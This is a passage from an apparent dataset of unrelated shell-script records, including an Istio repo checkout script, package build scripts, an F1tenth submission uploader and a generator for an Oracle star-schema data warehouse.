applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\n# Script to do repo init equivalent\n\n# Exit immediately for non zero status\nset -e\n# Check unset variables\nset -u\n# Print commands\nset -x\n\nfunction checkout_code() {\n local REPO=$1\n local REPO_SHA=$2\n local BRANCH=$3\n local DIR=$4\n\n mkdir -p \"${DIR}\"\n pushd \"${DIR}\"\n git clone \"https://github.com/istio/$REPO\" -b \"${BRANCH}\"\n pushd \"${REPO}\"\n git checkout \"${REPO_SHA}\"\n popd\n popd\n}\n\nfunction istio_code_init_manifest() {\n local BRANCH=$1\n local MANIFEST_FILE=$2\n\n ISTIO_SHA=$(grep \"istio/istio\" \"$MANIFEST_FILE\" | cut -f 6 -d \\\")\n API_SHA=$( grep \"istio/api\" \"$MANIFEST_FILE\" | cut -f 6 -d \\\")\n PROXY_SHA=$(grep \"istio/proxy\" \"$MANIFEST_FILE\" | cut -f 6 -d \\\")\n\n checkout_code \"proxy\" \"${PROXY_SHA}\" \"${BRANCH}\" \"/workspace/src\"\n checkout_code \"api\" \"${API_SHA}\" \"${BRANCH}\" \"/workspace/go/src/istio.io\"\n checkout_code \"istio\" \"${ISTIO_SHA}\" \"${BRANCH}\" \"/workspace/go/src/istio.io\"\n}\n\nBRANCH=\"\"\nGCS_RELEASE_TOOLS_PATH=\"\"\n\nfunction usage() {\n echo \"$0\n -b branch (required)\n -r directory path to release tools (required)\"\n exit 1\n}\n\nwhile getopts b:r: arg ; do\n case \"${arg}\" in\n b) BRANCH=\"${OPTARG}\";;\n r) GCS_RELEASE_TOOLS_PATH=\"${OPTARG}\";;\n *) usage;;\n esac\ndone\n\n[[ -z \"${BRANCH}\" ]] && usage\n[[ -z \"${GCS_RELEASE_TOOLS_PATH}\" ]] && usage\n\nMANIFEST_URL=\"${GCS_RELEASE_TOOLS_PATH}/manifest.xml\"\ngsutil cp \"gs://${MANIFEST_URL}\" \"/output/manifest.xml\" || echo \"\"\n\nMANIFEST_LOCAL_FILE=\"/output/manifest.xml\"\ngsutil cp \"gs://${MANIFEST_URL}\" \"${MANIFEST_LOCAL_FILE}\"\nistio_code_init_manifest \"${BRANCH}\" \"${MANIFEST_LOCAL_FILE}\"\nexit 0"} {"text": "gigayak/buildsystem\n#!/bin/bash\nset -Eeo pipefail\n\ncd \"$YAK_WORKSPACE\"\nversion=1.4.1\necho \"$version\" > \"$YAK_WORKSPACE/version\"\nurldir=\"http://download.savannah.gnu.org/releases/libpipeline\"\nurl=\"$urldir/libpipeline-${version}.tar.gz\"\nwget \"$url\"\ntar -zxf *.tar.*\n\ncd *-*/\n./configure \\\n --prefix=/usr\nmake"} {"text": "1-10\n#!/bin/bash\n\n# Provides json output for ansible '--list' request\nif [ \"$1\" = \"--list\" ]; then\n cat ./inventory.json\nfi"} {"text": "qtweng/f1tenth-gym0\n#!/bin/bash\n\nset -o errexit\n\nunset username\nunset pass\nunset description\n\nprintf \"This script will compile your project & upload to Riders.ai for evaluation.\\n\"\nprintf \"Please enter your Riders.ai Username & Password\\n\\n\"\n\necho -n \"Username:\"\nread username\necho -n \"Password:\"\nread -s pass\n\nSCRIPT_DIR=$(dirname \"$0\")\n\ncd $SCRIPT_DIR/..\n\nset -a # automatically export all variables\nsource ./.env\nset +a\n\nprintf \"\\nRetrieving your API Token...\\n\"\n\nRED='\\033[0;31m'\nNC='\\033[0m' # No Color\n\nDATA='{\"username\": '\\\"\"$username\"\\\"', \"password\": '\\\"\"\"\\\"'}'\n\nCOLAB_HOST=\"$RIDERS_API_HOST\"'/get-token/'\n\nCOLAB_TOKEN_RESPONSE=$(curl -H \"Content-Type: application/json\" -X POST -d \"$DATA\" \"$COLAB_HOST\")\n\nSTATUS_CODE=$(curl --write-out '%{http_code}' --silent --output /dev/null -H \"Content-Type: application/json\" -X POST -d \"$DATA\" \"$COLAB_HOST\")\n\nif [ $STATUS_CODE == \"404\" ]; then\n echo -e \"${RED}Authorization Failed: Token Not Found\"\n exit 1\nelif [ $STATUS_CODE == \"403\" ]; then\n echo \"${RED}Too Many Attemps, Please contact with Riders.ai admins\"\n exit 1\nelif [ $STATUS_CODE == \"200\" ]; then\n echo \"Authorization Successful\"\nfi\n\nRIDERS_AUTH_TOKEN=$(echo $COLAB_TOKEN_RESPONSE | jq -c '.token' | tr -d '\"')\nif [[ -z ${RIDERS_AUTH_TOKEN} ]]; then\n printf \"Faulty Auth Token, please try restarting this script.\\n\"\n exit\nfi\n\n# TODO: bir onceki satir eger hata donerse exit code, none 0 olmali, if so display error\n\nprintf \"\\n\\nBuilding your Agent Docker image, this may take a while...\\n\"\n\n# Try to build agent locally to prevent sending user_projects that fail on build process.\ndocker-compose build agent\n\n# We assume this script was placed on the project root. Otherwise we should change directory.\n# Archive tar file with arbitrary filename\nprintf \"\\n\\nBuilding TAR file, this may take a while...\\n\"\ngit ls-files | tar Tzcf - challengeproject.tar\nprintf \"Compiled TAR file for submission.\\n\"\n\nprintf \"\\n\\nPlease enter a short description of your submission. This would help you compare separate submissions\\n\"\necho -n \"Description:\"\nread description\n\nF1TENTH_RIDERS_API=\"$RIDERS_F1TENTH_HOST\"'/update'\n\n# TODO: Fix arbitrary constants\ncurl --location \\\n -F 'file=@./challengeproject.tar' \\\n -F description=\"$description\" \\\n -F challenge=$RIDERS_CHALLENGE_ID \\\n -F token='Token '$RIDERS_AUTH_TOKEN \\\n -F api_host=$RIDERS_API_HOST \\\n \"$F1TENTH_RIDERS_API\"\n\n#if [ $F1TENTH_STATUS_CODE == \"403\" ]; then\n# echo -e \"${RED}Upload Project Failed: User can not join challenge\"\n# exit 1\n#elif [ $F1TENTH_STATUS_CODE == \"200\" ]; then\n# echo \"Project Has Been Uploaded\"\n#fi"} {"text": "echo \"Stop\"\nsudo pkill node\nsudo systemctl stop som-web-ssr"} {"text": "#!/usr/bin/env -S bash ../.port_include.sh\nport=SDL2_ttf\nversion=2.0.15\nuseconfigure=true\nfiles=\"https://www.libsdl.org/projects/SDL_ttf/release/SDL2_ttf-${version}.tar.gz SDL2_ttf-${version}.tar.gz\"\nworkdir=\"SDL2_ttf-$version\"\ndepends=\"SDL2 freetype\"\n\nconfigure() {\n run ./configure \\\n --host=${SERENITY_ARCH}-pc-serenity \\\n --with-sdl-prefix=${SERENITY_ROOT}/Build/Root/usr \\\n LIBS=\"-lgui -lgfx -lipc -lcore -lcompress\"\n}"} {"text": "#!/bin/bash\n\ndir=`pwd`\nbin=$dir/../programs\nlist=$dir/../data/sequin.list\ndatadir=$dir/../data/sequin\nresults=$dir/../results/sequin\nmkdir -p $results\n\nscripts=`tempfile -d $dir`\nrm -f $scripts\n\nfunction make.scripts\n{\n\talgo=$1;\n\tsuffix=$2;\n\tcoverage=$3;\n\n\tif [ ! -x $bin/$1 ]; then\n\t\techo \"please make sure $bin/scallop is available/executable\"\n\t\texit\n\tfi\n\t\n\tif [ ! -x $bin/gffcompare ]; then\n\t\techo \"please make sure $bin/gffcompare is available/executable\"\n\t\texit\n\tfi\n\n\taligns=\"tophat star hisat\"\n\n\tif [ \"$1\" == \"transcomb\" ]; then\n\t\taligns=\"tophat star\"\n\tfi\n\n\tfor x in `cat $list`\n\tdo\n\t\tid=`echo $x | cut -f 1 -d \":\"`\n\t\tss=`echo $x | cut -f 2 -d \":\"`\n\t\tgm=`echo $x | cut -f 3 -d \":\"`\n\t\tgtf=$dir/../data/ensembl/$gm.gtf\n\t\n\t\tif [ ! -s $gtf ]; then\n\t\t\techo \"make sure $gtf is available\"\n\t\t\texit\n\t\tfi\n\t\n\t\tfor aa in `echo $aligns`\n\t\tdo\n\t\t\tbam=$datadir/$id/$aa.sort.bam\n\t\n\t\t\tif [ ! -s $bam ]; then\n\t\t\t\techo \"make sure $bam is available\"\n\t\t\t\texit\n\t\t\tfi\n\t\n\t\t\tcur=$results/$id.$aa/$algo.$suffix\n\t\n\t\t\techo \"./run.$algo.sh $cur $bam $gtf $coverage $ss\" >> $scripts\n\t\tdone\n\tdone\n}\n\n## MODIFY THE FOLLOWING LINES TO SPECIFIY EXPERIMENTS\n#usage: make.scripts \nmake.scripts scallop test1 1.0\n#make.scripts stringtie test1 2.5\n#make.scripts transcomb test1 0.01\n\nxarglist=`tempfile -d $dir`\nrm -f $xarglist\n\ncat $scripts | sort -R > $xarglist\n\n## MODIFY -P TO SPECIFY CPU CORES\nnohup cat $xarglist | xargs -L 1 -I CMD -P 10 bash -c CMD > /tmp/null &"} {"text": "kamal2222ahmed/jiffy-web\n# Copyright 2008 Whitepages.com, Inc. See License.txt for more information.\n\n#!/bin/sh\n\nusage() \n{\n echo \"Usage: gen_jiffy_dw_schema_oracle.sh [config]\"\n echo \" DDL to create data warehouse star schema for jiffy rollup reporting\"\n}\n\nif [ $# != 1 ]\nthen\n usage\n exit\nelse\n CONFIG=$1\nfi\n\nOUT1=create_jiffy_dw_schema.sql\nOUT2=create_jiffy_rollup_package.sql\n\nget()\n{\n grep \"$1\" $CONFIG | cut -d= -f2\n}\n\n# get Oracle configurations\nDATA_TABLESPACE=$(get DATA_TABLESPACE)\nDATA_FILENAME=$(get DATA_FILENAME)\nDATA_FILESIZE=$(get DATA_FILESIZE)\nINDEX_TABLESPACE=$(get INDEX_TABLESPACE)\nINDEX_FILENAME=$(get INDEX_FILENAME)\nINDEX_FILESIZE=$(get INDEX_FILESIZE)\nUSE_BITMAP_INDEX=$(get USE_BITMAP_INDEX)\n\nJIFFY_USERNAME=$(get JIFFY_USERNAME)\nJIFFY_PASS=$(get JIFFY_PASS)\nJIFFY_LOADER_USERNAME=$(get JIFFY_LOADER_USERNAME)\nJIFFY_LOADER_PASS=$(get JIFFY_LOADER_PASS)\nJIFFY_READER_USERNAME=$(get JIFFY_READER_USERNAME)\nJIFFY_READER_PASS=$(get JIFFY_READER_PASS)\nTEMPORARY_TABLESPACE=$(get TEMPORARY_TABLESPACE)\nCONNECTSTRING=$(get CONNECTSTRING)\n\nEMAIL_FROM=$(get EMAIL_FROM)\nEMAIL_TO=$(get EMAIL_TO)\n\necho \"\"\necho \"\"\necho \"You have enter the following setttings:\"\necho \"\"\necho \"DATABASE=$DATABASE\"\necho \"JIFFY_USERNAME=$JIFFY_USERNAME\" \necho \"JIFFY_PASS=$\"\necho \"CONNECTSTRING=$CONNECTSTRING\"\necho \"USE_BITMAP_INDEX=$USE_BITMAP_INDEX\"\necho \"\"\necho \"Press enter to confirm your setting \"\n#read dummy\n\n#\n# Begin creating schema\n#\n\necho \"\nCONNECT ${JIFFY_USERNAME}/${JIFFY_PASS}@${CONNECTSTRING};\n--\n-- TABLE OWNER ${JIFFY_USERNAME}\n--\nBEGIN EXECUTE IMMEDIATE 'DROP TABLE measurement_facts';\n EXCEPTION WHEN OTHERS THEN NULL; END;\n/ \nCREATE TABLE measurement_facts\n(\n d_time_id DATE NOT NULL, -- DATETIME is a natural unique key and easily indexed\n d_code_id NUMBER NOT NULL,\n d_page_id NUMBER NOT NULL,\n d_cat1_id NUMBER NULL, -- awaiting support for this dimension\n d_cat2_id NUMBER NULL, -- awaiting support for this dimension\n d_os_id NUMBER NULL, -- awaiting support for this dimension\n d_browser_id NUMBER NULL, -- awaiting support for this dimension\n et_count NUMBER,\n et_sum NUMBER,\n et_sum_squares NUMBER,\n -- et_mean and et_std are functionall derived from sum, count, and sum of squares\n et_min NUMBER,\n et_max NUMBER,\n CONSTRAINT measurement_facts_pk PRIMARY KEY\n (\n d_time_id,\n d_code_id,\n d_page_id,\n d_cat1_id,\n d_cat2_id,\n d_os_id,\n d_browser_id\n ) USING INDEX TABLESPACE ${INDEX_TABLESPACE}\n);\n\nGRANT SELECT, UPDATE, INSERT ON measurement_facts TO ${JIFFY_LOADER_USERNAME};\nGRANT SELECT ON measurement_facts TO ${JIFFY_READER_USERNAME};\n\n-- create indexes on facts for each dimension\n-- time dimension is too fine grained to use bitmaps space efficiently\nCREATE INDEX mf_time_ix\n ON measurement_facts (d_time_id)\n TABLESPACE ${INDEX_TABLESPACE};\nCREATE ${USE_BITMAP_INDEX} INDEX mf_code_ix\n ON measurement_facts (d_code_id)\n TABLESPACE ${INDEX_TABLESPACE};\nCREATE ${USE_BITMAP_INDEX} INDEX mf_page_ix\n ON measurement_facts (d_page_id)\n TABLESPACE ${INDEX_TABLESPACE};\nCREATE ${USE_BITMAP_INDEX} INDEX mf_cat1_ix\n ON measurement_facts (d_cat1_id)\n TABLESPACE ${INDEX_TABLESPACE};\nCREATE ${USE_BITMAP_INDEX} INDEX mf_cat2_ix\n ON measurement_facts (d_cat2_id)\n TABLESPACE ${INDEX_TABLESPACE};\nCREATE ${USE_BITMAP_INDEX} INDEX mf_os_ix\n ON measurement_facts (d_os_id)\n TABLESPACE ${INDEX_TABLESPACE};\nCREATE ${USE_BITMAP_INDEX} INDEX mf_browser_ix\n ON measurement_facts (d_browser_id)\n TABLESPACE ${INDEX_TABLESPACE};\n\n-- sequences for dimension ids\nBEGIN EXECUTE IMMEDIATE 'DROP SEQUENCE code_id_seq';\n EXCEPTION WHEN OTHERS THEN NULL; END;\n/\nCREATE SEQUENCE code_id_seq INCREMENT BY 1 START WITH 1;\n\nBEGIN EXECUTE IMMEDIATE 'DROP SEQUENCE page_id_seq';\n EXCEPTION WHEN OTHERS THEN NULL; END;\n/\nCREATE SEQUENCE page_id_seq INCREMENT BY 1 START WITH 1;\n\nBEGIN EXECUTE IMMEDIATE 'DROP SEQUENCE cat1_id_seq';\n EXCEPTION WHEN OTHERS THEN NULL; END;\n/\nCREATE SEQUENCE cat1_id_seq INCREMENT BY 1 START WITH 1;\n\nBEGIN EXECUTE IMMEDIATE 'DROP SEQUENCE cat2_id_seq';\n EXCEPTION WHEN OTHERS THEN NULL; END;\n/\nCREATE SEQUENCE cat2_id_seq INCREMENT BY 1 START WITH 1;\n\nBEGIN EXECUTE IMMEDIATE 'DROP SEQUENCE os_id_seq';\n EXCEPTION WHEN OTHERS THEN NULL; END;\n/\nCREATE SEQUENCE os_id_seq INCREMENT BY 1 START WITH 1;\n\nBEGIN EXECUTE IMMEDIATE 'DROP SEQUENCE browser_id_seq';\n EXCEPTION WHEN OTHERS THEN NULL; END;\n/\nCREATE SEQUENCE browser_id_seq INCREMENT BY 1 START WITH 1;\n\n-- time dimension\nBEGIN EXECUTE IMMEDIATE 'DROP TABLE d_time';\n EXCEPTION WHEN OTHERS THEN NULL; END;\n/\nCREATE TABLE d_time (\n time_id DATE NOT NULL, -- key is time TRUNCed to smallest interval (1 minute)\n -- foo_dt is time_id TRUNCed to foo interval\n yyyy NUMBER(4) NOT NULL,\n yyyy_dt DATE NOT NULL,\n mm NUMBER(2) NOT NULL, -- [1..12]\n mm_dt DATE NOT NULL,\n mon VARCHAR2(3) NOT NULL, -- [Jan..Dec]\n month VARCHAR2(10) NOT NULL, -- [January..December]\n dd NUMBER(2) NOT NULL, -- [1..31]\n dd_dt DATE NOT NULL,\n hr NUMBER(2) NOT NULL, -- [00..23]\n hr_dt DATE NOT NULL,\n mi NUMBER(2) NOT NULL, -- [00..59]\n -- mi_dt is the same as time_id\n qtr NUMBER(1) NOT NULL, -- [1..4]\n qtr_dt DATE NOT NULL,\n iwk NUMBER(2) NOT NULL, -- [1..52]\n iwk_dt DATE NOT NULL,\n day_of_wk NUMBER(1) NOT NULL, -- [1..7]\n day_abbrv VARCHAR2(3) NOT NULL, -- [Sun..Sat]\n day_name VARCHAR2(10) NOT NULL, -- [Sunday..Saturday]\n -- day/time characteristic periods\n weekend NUMBER(1) NOT NULL, -- 1=>true\n holiday NUMBER(1) NOT NULL, -- 1=>true\n morning NUMBER(1) NOT NULL, -- 1=>6am..noon\n afternoon NUMBER(1) NOT NULL, -- 1=>noon..6pm\n evening NUMBER(1) NOT NULL, -- 1=>6pm..midnight\n night NUMBER(1) NOT NULL, -- 1=>midnight..6am\n worktime NUMBER(1) NOT NULL, -- 1=>8am..5pm\n -- time intervals\n mi5 number(3) NOT NULL, -- index of 5minute intervals in day [0..287]\n mi5_dt DATE NOT NULL,\n mi10 number(3) NOT NULL, -- index of 10minute intervals in day [0..143]\n mi10_dt DATE NOT NULL,\n mi15 number(2) NOT NULL, -- index of 15minute intervals in day [0..95]\n mi15_dt DATE NOT NULL,\n mi30 number(2) NOT NULL, -- index of 30minute intervals in day [0..47]\n mi30_dt DATE NOT NULL,\n hr2 number(2) NOT NULL, -- index of 2hour intervals in day [0..11]\n hr2_dt DATE NOT NULL,\n hr3 number(1) NOT NULL, -- index of 3hour intervals in day [0..7]\n hr3_dt DATE NOT NULL,\n hr6 number(1) NOT NULL, -- index of 6hour intervals in day [0..3]\n hr6_dt DATE NOT NULL,\n hr12 number(1) NOT NULL, -- index of 6hour intervals in day [0..1]\n hr12_dt DATE NOT NULL,\n CONSTRAINT d_time_pk PRIMARY KEY\n (\n time_id\n ) USING INDEX TABLESPACE ${INDEX_TABLESPACE}\n);\n\nCREATE ${USE_BITMAP_INDEX} INDEX dt_yyyy_ix ON d_time (yyyy) TABLESPACE ${INDEX_TABLESPACE};\nCREATE INDEX dt_yyyy_dt_ix ON d_time (yyyy_dt) TABLESPACE ${INDEX_TABLESPACE};\nCREATE ${USE_BITMAP_INDEX} INDEX dt_mm_ix ON d_time (mm) TABLESPACE ${INDEX_TABLESPACE};\nCREATE INDEX dt_mm_dt_ix ON d_time (mm_dt) TABLESPACE ${INDEX_TABLESPACE};\nCREATE ${USE_BITMAP_INDEX} INDEX dt_mon_ix ON d_time (mon) TABLESPACE ${INDEX_TABLESPACE};\nCREATE ${USE_BITMAP_INDEX} INDEX dt_month_ix ON d_time (month) TABLESPACE ${INDEX_TABLESPACE};\nCREATE ${USE_BITMAP_INDEX} INDEX dt_dd_ix ON d_time (dd) TABLESPACE ${INDEX_TABLESPACE};\nCREATE INDEX dt_dd_dt_ix ON d_time (dd_dt) TABLESPACE ${INDEX_TABLESPACE};\nCREATE ${USE_BITMAP_INDEX} INDEX dt_hr_ix ON d_time (hr) TABLESPACE ${INDEX_TABLESPACE};\nCREATE INDEX dt_hr_dt_ix ON d_time (hr_dt) TABLESPACE ${INDEX_TABLESPACE};\nCREATE INDEX dt_mi_ix ON d_time (mi) TABLESPACE ${INDEX_TABLESPACE};\nCREATE ${USE_BITMAP_INDEX} INDEX dt_qtr_ix ON d_time (qtr) TABLESPACE ${INDEX_TABLESPACE};\nCREATE INDEX dt_qtr_dt_ix ON d_time (qtr_dt) TABLESPACE ${INDEX_TABLESPACE};\nCREATE INDEX dt_iwk_ix ON d_time (iwk) TABLESPACE ${INDEX_TABLESPACE};\nCREATE INDEX dt_iwk_dt_ix ON d_time (iwk_dt) TABLESPACE ${INDEX_TABLESPACE};\nCREATE ${USE_BITMAP_INDEX} INDEX dt_day_of_wk_ix ON d_time (day_of_wk) TABLESPACE ${INDEX_TABLESPACE};\nCREATE ${USE_BITMAP_INDEX} INDEX dt_day_abbrv_ix ON d_time (day_abbrv) TABLESPACE ${INDEX_TABLESPACE};\nCREATE ${USE_BITMAP_INDEX} INDEX dt_day_name_ix ON d_time (day_name) TABLESPACE ${INDEX_TABLESPACE};\nCREATE ${USE_BITMAP_INDEX} INDEX dt_weekend_ix ON d_time (weekend) TABLESPACE ${INDEX_TABLESPACE};\nCREATE ${USE_BITMAP_INDEX} INDEX dt_holiday_ix ON d_time (holiday) TABLESPACE ${INDEX_TABLESPACE};\nCREATE ${USE_BITMAP_INDEX} INDEX dt_morning_ix ON d_time (morning) TABLESPACE ${INDEX_TABLESPACE};\nCREATE ${USE_BITMAP_INDEX} INDEX dt_afternoon_ix ON d_time (afternoon) TABLESPACE ${INDEX_TABLESPACE};\nCREATE ${USE_BITMAP_INDEX} INDEX dt_evening_ix ON d_time (evening) TABLESPACE ${INDEX_TABLESPACE};\nCREATE ${USE_BITMAP_INDEX} INDEX dt_night_ix ON d_time (night) TABLESPACE ${INDEX_TABLESPACE};\nCREATE ${USE_BITMAP_INDEX} INDEX dt_worktime_ix ON d_time (worktime) TABLESPACE ${INDEX_TABLESPACE};\nCREATE INDEX dt_mi5_ix ON d_time (mi5) TABLESPACE ${INDEX_TABLESPACE};\nCREATE INDEX dt_mi5_dt_ix ON d_time (mi5_dt) TABLESPACE ${INDEX_TABLESPACE};\nCREATE INDEX dt_mi10_ix ON d_time (mi10) TABLESPACE ${INDEX_TABLESPACE};\nCREATE INDEX dt_mi10_dt_ix ON d_time (mi10_dt) TABLESPACE ${INDEX_TABLESPACE};\nCREATE INDEX dt_mi15_ix ON d_time (mi15) TABLESPACE ${INDEX_TABLESPACE};\nCREATE INDEX dt_mi15_dt_ix ON d_time (mi15_dt) TABLESPACE ${INDEX_TABLESPACE};\nCREATE INDEX dt_mi30_ix ON d_time (mi30) TABLESPACE ${INDEX_TABLESPACE};\nCREATE INDEX dt_mi30_dt_ix ON d_time (mi30_dt) TABLESPACE ${INDEX_TABLESPACE};\nCREATE ${USE_BITMAP_INDEX} INDEX dt_hr2_ix ON d_time (hr2) TABLESPACE ${INDEX_TABLESPACE};\nCREATE INDEX dt_hr2_dt_ix ON d_time (hr2_dt) TABLESPACE ${INDEX_TABLESPACE};\nCREATE ${USE_BITMAP_INDEX} INDEX dt_hr3_ix ON d_time (hr3) TABLESPACE ${INDEX_TABLESPACE};\nCREATE INDEX dt_hr3_dt_ix ON d_time (hr3_dt) TABLESPACE ${INDEX_TABLESPACE};\nCREATE ${USE_BITMAP_INDEX} INDEX dt_hr6_ix ON d_time (hr6) TABLESPACE ${INDEX_TABLESPACE};\nCREATE INDEX dt_hr6_dt_ix ON d_time (hr6_dt) TABLESPACE ${INDEX_TABLESPACE};\nCREATE ${USE_BITMAP_INDEX} INDEX dt_hr12_ix ON d_time (hr12) TABLESPACE ${INDEX_TABLESPACE};\nCREATE INDEX dt_hr12_dt_ix ON d_time (hr12_dt) TABLESPACE ${INDEX_TABLESPACE};\n\n-- trigger will automatically calc and populate all the supported interval fields from time_id\nCREATE OR REPLACE TRIGGER compute_time_dim\n BEFORE INSERT ON d_time\n FOR EACH ROW\n DECLARE\n base_dt DATE;\n beg_dt DATE;\n miod INTEGER; -- minute of day\n hrod INTEGER; -- hour of day\n BEGIN\n -- time basis\n SELECT TRUNC(:new.time_id,'MI') INTO base_dt FROM DUAL;\n SELECT base_dt INTO :new.time_id FROM DUAL;\n SELECT TRUNC(base_dt) INTO beg_dt FROM DUAL; -- begining of day\n SELECT TRUNC( TO_NUMBER(TO_CHAR(base_dt,'SSSSS')) / 60 ) INTO miod FROM DUAL; -- minute of day\n SELECT TO_NUMBER(TO_CHAR(base_dt,'HH24')) INTO hrod FROM DUAL; -- hour of day\n\n -- years\n SELECT TRUNC(base_dt,'yyyy') INTO :new.yyyy_dt FROM DUAL;\n SELECT EXTRACT(YEAR from base_dt) INTO :new.yyyy FROM DUAL;\n\n -- months\n SELECT TRUNC(base_dt,'mm') INTO :new.mm_dt FROM DUAL;\n SELECT EXTRACT(MONTH from base_dt) INTO :new.mm FROM DUAL;\n SELECT TO_CHAR(base_dt,'Mon') INTO :new.mon FROM DUAL;\n SELECT TO_CHAR(base_dt,'Month') INTO :new.month FROM DUAL;\n\n -- days\n SELECT TRUNC(base_dt,'dd') INTO :new.dd_dt FROM DUAL;\n SELECT EXTRACT(DAY from base_dt) INTO :new.dd FROM DUAL;\n\n -- week days\n SELECT TO_NUMBER(TO_CHAR(base_dt,'D')) INTO :new.day_of_wk FROM DUAL;\n SELECT TO_CHAR(base_dt,'Day') INTO :new.day_name FROM DUAL;\n SELECT SUBSTR(TO_CHAR(base_dt,'Day'),1,3) INTO :new.day_abbrv FROM DUAL;\n SELECT DECODE(TO_NUMBER(TO_CHAR(base_dt,'D')),1,1,7,1,0) INTO :new.weekend FROM DUAL;\n\n -- hours\n SELECT TRUNC(base_dt,'HH24') INTO :new.hr_dt FROM DUAL;\n SELECT TO_NUMBER(TO_CHAR(base_dt,'HH24')) INTO :new.hr FROM DUAL;\n SELECT DECODE( TRUNC(TO_NUMBER(TO_CHAR(base_dt,'HH24'))/6), 0, 1, 0) INTO :new.night FROM DUAL;\n SELECT DECODE( TRUNC(TO_NUMBER(TO_CHAR(base_dt,'HH24'))/6), 1, 1, 0) INTO :new.morning FROM DUAL;\n SELECT DECODE( TRUNC(TO_NUMBER(TO_CHAR(base_dt,'HH24'))/6), 2, 1, 0) INTO :new.afternoon FROM DUAL;\n SELECT DECODE( TRUNC(TO_NUMBER(TO_CHAR(base_dt,'HH24'))/6), 3, 1, 0) INTO :new.evening FROM DUAL;\n SELECT CASE WHEN TO_NUMBER(TO_CHAR(base_dt,'HH24')) >= 8\n AND TO_NUMBER(TO_CHAR(base_dt,'HH24')) <= 17\n THEN 1 ELSE 0 END INTO :new.worktime FROM DUAL;\n SELECT TRUNC(hrod/2) INTO :new.hr2 FROM DUAL;\n SELECT TRUNC(beg_dt + (TRUNC(hrod/2)*2/24), 'HH24') INTO :new.hr2_dt FROM DUAL;\n SELECT TRUNC(hrod/3) INTO :new.hr3 FROM DUAL;\n SELECT TRUNC(beg_dt + (TRUNC(hrod/3)*3/24), 'HH24') INTO :new.hr3_dt FROM DUAL;\n SELECT TRUNC(hrod/6) INTO :new.hr6 FROM DUAL;\n SELECT TRUNC(beg_dt + (TRUNC(hrod/6)*6/24), 'HH24') INTO :new.hr6_dt FROM DUAL;\n SELECT TRUNC(hrod/12) INTO :new.hr12 FROM DUAL;\n SELECT TRUNC(beg_dt + (TRUNC(hrod/12)*12/24), 'HH24') INTO :new.hr12_dt FROM DUAL;\n\n -- minutes\n SELECT TO_NUMBER(TO_CHAR(base_dt,'MI')) INTO :new.mi FROM DUAL;\n SELECT TRUNC(miod/5) INTO :new.mi5 FROM DUAL;\n SELECT TRUNC(beg_dt + (TRUNC(miod/5)*5/(24*60)), 'MI') INTO :new.mi5_dt FROM DUAL;\n SELECT TRUNC(miod/10) INTO :new.mi10 FROM DUAL;\n SELECT TRUNC(beg_dt + (TRUNC(miod/10)*10/(24*60)), 'MI') INTO :new.mi10_dt FROM DUAL;\n SELECT TRUNC(miod/15) INTO :new.mi15 FROM DUAL;\n SELECT TRUNC(beg_dt + (TRUNC(miod/15)*15/(24*60)), 'MI') INTO :new.mi15_dt FROM DUAL;\n SELECT TRUNC(miod/30) INTO :new.mi30 FROM DUAL;\n SELECT TRUNC(beg_dt + (TRUNC(miod/30)*30/(24*60)), 'MI') INTO :new.mi30_dt FROM DUAL;\n\n -- quarters\n SELECT TRUNC(base_dt,'Q') INTO :new.qtr_dt FROM DUAL;\n SELECT TO_NUMBER(TO_CHAR(base_dt,'Q')) INTO :new.qtr FROM DUAL;\n\n -- weeks\n SELECT TRUNC(base_dt,'IW') INTO :new.iwk_dt FROM DUAL;\n SELECT TO_NUMBER(TO_CHAR(base_dt,'IW')) INTO :new.iwk FROM DUAL;\n\n --TODO: holiday needs work\n SELECT 0 INTO :new.holiday FROM DUAL;\n\n END;\n/\nGRANT SELECT, UPDATE, INSERT ON d_time TO ${JIFFY_LOADER_USERNAME};\nGRANT SELECT ON d_time TO ${JIFFY_READER_USERNAME};\n/\n\n-- page dimension\nBEGIN EXECUTE IMMEDIATE 'DROP TABLE d_page';\n EXCEPTION WHEN OTHERS THEN NULL; END;\n/\nCREATE TABLE d_page (\n page_id NUMBER NOT NULL,\n page_name VARCHAR2(255) NULL,\n page_group1 VARCHAR2(255) NULL,\n page_group2 VARCHAR2(255) NULL,\n CONSTRAINT d_page_pk PRIMARY KEY\n (\n page_id\n ) USING INDEX TABLESPACE ${INDEX_TABLESPACE}\n);\nCREATE UNIQUE INDEX dp_name_ix\n ON d_page (page_name)\n TABLESPACE ${INDEX_TABLESPACE};\nCREATE INDEX dp_group1_ix\n ON d_page (page_group1)\n TABLESPACE ${INDEX_TABLESPACE};\nCREATE INDEX dp_group2_ix\n ON d_page (page_group2)\n TABLESPACE ${INDEX_TABLESPACE};\n\nCREATE OR REPLACE TRIGGER dp_seq_id\n BEFORE INSERT ON d_page \n FOR EACH ROW\n BEGIN\n IF :new.page_id IS NULL THEN\n SELECT page_id_seq.nextval INTO :new.page_id FROM DUAL;\n END IF;\n END;\n/\nGRANT SELECT, UPDATE, INSERT ON d_page TO ${JIFFY_LOADER_USERNAME};\nGRANT SELECT ON d_page TO ${JIFFY_READER_USERNAME};\n/\n\n-- code dimension\nBEGIN EXECUTE IMMEDIATE 'DROP TABLE d_code';\n EXCEPTION WHEN OTHERS THEN NULL; END;\n/\nCREATE TABLE d_code (\n code_id NUMBER NOT NULL,\n code VARCHAR2(20) NOT NULL,\n code_group1 VARCHAR2(255) NULL,\n code_group2 VARCHAR2(255) NULL,\n CONSTRAINT d_code_pk PRIMARY KEY\n (\n code_id\n ) USING INDEX TABLESPACE ${INDEX_TABLESPACE}\n);\nCREATE UNIQUE INDEX dc_name_ix\n ON d_code (code)\n TABLESPACE ${INDEX_TABLESPACE};\nCREATE INDEX dc_group1_ix\n ON d_code (code_group1)\n TABLESPACE ${INDEX_TABLESPACE};\nCREATE INDEX dc_group2_ix\n ON d_code (code_group2)\n TABLESPACE ${INDEX_TABLESPACE};\n\nCREATE OR REPLACE TRIGGER dc_seq_id\n BEFORE INSERT ON d_code \n FOR EACH ROW\n BEGIN\n IF :new.code_id IS NULL THEN\n SELECT code_id_seq.nextval INTO :new.code_id FROM DUAL;\n END IF;\n END;\n/\nGRANT SELECT, UPDATE, INSERT ON d_code TO ${JIFFY_LOADER_USERNAME};\nGRANT SELECT ON d_code TO ${JIFFY_READER_USERNAME};\n/\n\n-- singleton table to store last detail processed\nBEGIN EXECUTE IMMEDIATE 'DROP TABLE 